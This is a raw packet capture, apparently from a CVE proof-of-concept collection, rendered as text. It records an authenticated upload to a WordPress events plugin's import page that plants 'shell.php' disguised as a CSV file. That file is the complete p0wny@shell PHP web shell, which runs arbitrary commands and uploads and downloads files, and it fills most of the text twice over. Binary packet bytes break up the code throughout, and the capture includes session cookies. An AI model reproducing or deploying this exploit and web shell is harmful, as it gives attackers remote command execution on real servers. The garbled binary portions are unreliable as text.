4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / attack.pcap PCAP
�ò��<a�JJ@완�M@완�ME<�@@?Y�-�0�`P$`�����
jvf�<a2�JJ@완�M@완�ME<�@@?Y�-�0�`P$`�����
jvf�<a(�JJ@완�M@완�ME<@?�"�0�-P�`=�r$`���P��
S;jvf�<a1�JJ@완�M@완�ME<@?�"�0�-P�`=�r$`���P��
S;jvf�<a��BB@완�M@완�ME4�A@?Y�-�0�`P$`=�s��|G
jvhS;�<a��BB@완�M@완�ME4�A@?Y�-�0�`P$`=�s��|G
jvhS;�<a���@완�M@완�ME�B@?V4�-�0�`P$`=�s��:S
jvhS;POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
Host: 172.30.1.48
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
Accept-Language: de,en-US;q=0.7,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------29650037893637916779865254589
Origin: http://172.30.1.48
Upgrade-Insecure-Requests: 1
Cookie: wordpress_94e1b445953c241dd9ac20bbf6edfbb7=0ppr2s%7C1629085617%7CR43AY3xgmlSESr0cIUb7G6RfNCwolgsUAOyqyPBMBWT%7C1c1697dcc5e7f0be844bc5e15fa681837bb579270ad8c89c9a7f47b37d458a4a; wordpress_logged_in_94e1b445953c241dd9ac20bbf6edfbb7=0ppr2s%7C1629085617%7CR43AY3xgmlSESr0cIUb7G6RfNCwolgsUAOyqyPBMBWT%7Cde9de0babf636c665ff6a99c603bfdb7c4345ee9259bd04b3b7f572c7e8fbfe7; wordpress_test_cookie=WP%20Cookie%20check
Content-Length: 17336

�<a���@완�M@완�ME�B@?V4�-�0�`P$`=�s��:S
jvhS;POST /wp-admin/admin.php?page=MEC-ix&tab=MEC-import HTTP/1.1
Host: 172.30.1.48
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
Accept-Language: de,en-US;q=0.7,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------29650037893637916779865254589
Origin: http://172.30.1.48
Upgrade-Insecure-Requests: 1
Cookie: wordpress_94e1b445953c241dd9ac20bbf6edfbb7=0ppr2s%7C1629085617%7CR43AY3xgmlSESr0cIUb7G6RfNCwolgsUAOyqyPBMBWT%7C1c1697dcc5e7f0be844bc5e15fa681837bb579270ad8c89c9a7f47b37d458a4a; wordpress_logged_in_94e1b445953c241dd9ac20bbf6edfbb7=0ppr2s%7C1629085617%7CR43AY3xgmlSESr0cIUb7G6RfNCwolgsUAOyqyPBMBWT%7Cde9de0babf636c665ff6a99c603bfdb7c4345ee9259bd04b3b7f572c7e8fbfe7; wordpress_test_cookie=WP%20Cookie%20check
Content-Length: 17336

�<ab���@완�M@완�ME�C@?�?�-�0�`P$c�=�s���
jvhS;-----------------------------29650037893637916779865254589
Content-Disposition: form-data; name="feed"; filename="shell.php"
Content-Type: text/csv

<?php

function featureShell($cmd, $cwd) {
    $stdout = array();

    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => array('File not found / no read permission.'),
            'cwd' => getcwd()
       �<af���@완�M@완�ME�C@?�?�-�0�`P$c�=�s���
jvhS;-----------------------------29650037893637916779865254589
Content-Disposition: form-data; name="feed"; filename="shell.php"
Content-Type: text/csv

<?php

function featureShell($cmd, $cwd) {
    $stdout = array();

    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        return featureDownload($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }

    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}

function featurePwd() {
    return array("cwd" => getcwd());
}

function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}

function featureDownload($filePath) {
    $file = @file_get_contents($filePath);
    if ($file === FALSE) {
        return array(
            'stdout' => array('File not found / no read permission.'),
            'cwd' => getcwd()
       �<a����@완�M@완�ME�D@?�>�-�0�`P$i`=�s����
jvhS; );
    } else {
        return array(
            'name' => basename($filePath),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => array('Invalid path / no write permission.'),
            'cwd' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => array('Done.'),
            'cwd' => getcwd()
        );
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" c�<a����@완�M@완�ME�D@?�>�-�0�`P$i`=�s����
jvhS; );
    } else {
        return array(
            'name' => basename($filePath),
            'file' => base64_encode($file)
        );
    }
}

function featureUpload($path, $file, $cwd) {
    chdir($cwd);
    $f = @fopen($path, 'wb');
    if ($f === FALSE) {
        return array(
            'stdout' => array('Invalid path / no write permission.'),
            'cwd' => getcwd()
        );
    } else {
        fwrite($f, base64_decode($file));
        fclose($f);
        return array(
            'stdout' => array('Done.'),
            'cwd' => getcwd()
        );
    }
}

if (isset($_GET["feature"])) {

    $response = NULL;

    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
            break;
        case 'upload':
            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
    }

    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}

?><!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" c�<a؎��@완�M@완�ME�E@?�=�-�0�`P$o=�s��_
jvhS;ontent="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            @media (max-width: 991px) {
        �<aڎ��@완�M@완�ME�E@?�=�-�0�`P$o=�s��_
jvhS;ontent="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }

            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            @media (max-width: 991px) {
        �<a���@완�M@완�ME�F@?�<�-�0�`P$t�=�s����
jvhS;        #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #ee�<a���@완�M@완�ME�F@?�<�-�0�`P$t�=�s����
jvhS;        #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }

                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }

                #shell {
                    margin-top: 0;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #ee�<a���@완�M@완�ME�G@?�;�-�0�`P$zX=�s��7
jvhS;e;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.ma�<a����@완�M@완�ME�G@?�;�-�0�`P$zX=�s��7
jvhS;e;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.ma�<a����@완�M@완�ME�H@?�:�-�0�`P$�=�s����
jvhS;tch(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
            �<a����@완�M@완�ME�H@?�:�-�0�`P$�=�s����
jvhS;tch(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(response.name, response.file)
                        } else {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion

                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
            �<a���@완�M@완�ME�I@?�9�-�0�`P$��=�s���O
jvhS;        } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                documen�<a���@완�M@완�ME�I@?�9�-�0�`P$��=�s���O
jvhS;        } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                documen�<a���@완�M@완�ME�J@?�8�-�0�`P$�P=�s��=
jvhS;t.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCw�<a
���@완�M@완�ME�J@?�8�-�0�`P$�P=�s��=
jvhS;t.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(response.stdout.join("\n"));
                            updateCwd(response.cwd);
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCw�<a���@완�M@완�ME�K@?�7�-�0�`P$��=�s��_�
jvhS;d.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellC�<a���@완�M@완�ME�K@?�7�-�0�`P$��=�s��_�
jvhS;d.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellC�<a)�BB@완�M@완�ME4_�@?���0�-P�`=�s$c���x�
S<jvh�<a0�BB@완�M@완�ME4_�@?���0�-P�`=�s$c���x�
S<jvh�<aޒBB@완�M@완�ME4_�@?���0�-P�`=�s$����E�
S<jvh�<a�BB@완�M@완�ME4_�@?���0�-P�`=�s$����E�
S<jvh�<a����@완�M@완�ME�L@?�6�-�0�`P$��=�s���
jvjS<mdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
        �<a����@완�M@완�ME�L@?�6�-�0�`P$��=�s���
jvjS<mdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
        �<a͔��@완�M@완�ME�M@?�5�-�0�`P$�H=�s��F�
jvjS<                    a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("sh�<aҔ��@완�M@완�ME�M@?�5�-�0�`P$�H=�s��F�
jvjS<                    a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("sh�<a۔��@완�M@완�ME�N@?�\�-�0�`P$��=�s���
jvjS<ell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

-----------------------------29650037893637916779865254589
Content-Disposition: form-data; name="mec-ix-action"

import-start-bookings
-----------------------------29650037893637916779865254589--
�<aޔ��@완�M@완�ME�N@?�\�-�0�`P$��=�s���
jvjS<ell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>

-----------------------------29650037893637916779865254589
Content-Disposition: form-data; name="mec-ix-action"

import-start-bookings
-----------------------------29650037893637916779865254589--
�<aC�BB@완�M@완�ME4_�@?���0�-P�`=�s$�p��5.
S>jvj�<aM�BB@완�M@완�ME4_�@?���0�-P�`=�s$�p��5.
S>jvj�<a�
��@완�M@완�ME�_�@?{��0�-P�`=�s$�p���
S jvjHTTP/1.1 200 OK
Date: Sat, 14 Aug 2021 03:46:57 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.4.16
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: wp-settings-1=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: wp-settings-time-1=1628912817; expires=Sun, 14-Aug-2022 03:46:57 GMT; Max-Age=31536000; path=/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 6493
Connection: close
Content-Type: text/html; charset=UTF-8

��=ks۸���_�hoc�T�y?�N7i��f��d�;In��h[�,i))N6�?II�-;Ϋ����)@�r�W�>���d�����}�"�O�k�#+	C�G�����`�5X`�yb �.|�XB�kY�Ի��a�� �No"fG>u��]'MĽG�!�1K��~��
